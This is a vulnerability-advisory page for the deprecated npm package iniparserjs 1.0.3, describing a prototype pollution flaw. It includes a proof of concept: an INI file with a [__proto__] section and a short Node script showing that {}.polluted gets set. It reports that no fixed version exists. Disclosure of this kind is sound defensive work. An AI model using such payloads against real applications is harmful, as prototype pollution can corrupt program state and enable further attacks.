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iniparserjs@1.0.3 vulnerabilities

ini风格配置文件解析

  • latest version

    1.0.4

  • first published

    5 years ago

  • latest version published

    5 years ago

  • deprecated

    Package is deprecated

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the iniparserjs package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
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    Prototype Pollution

    iniparserjs is an ini style file parser for node

    Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates when ini_parser.js is concentrating arrays. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

    Test.ini

 [__proto__]

polluted = vulnerable

 PoC.js

var path = require("path")
var IniParser = require("iniparserjs")
console.log('Before:', {}.polluted);
var config = new IniParser(path.join(__dirname, "test.ini"), "UTF8")
var sections = config.sections()
console.log(sections);
var keysOfSection1 = config.keysOfSection("section1")
console.log('After:', {}.polluted);

    How to fix Prototype Pollution?

    There is no fixed version for iniparserjs.

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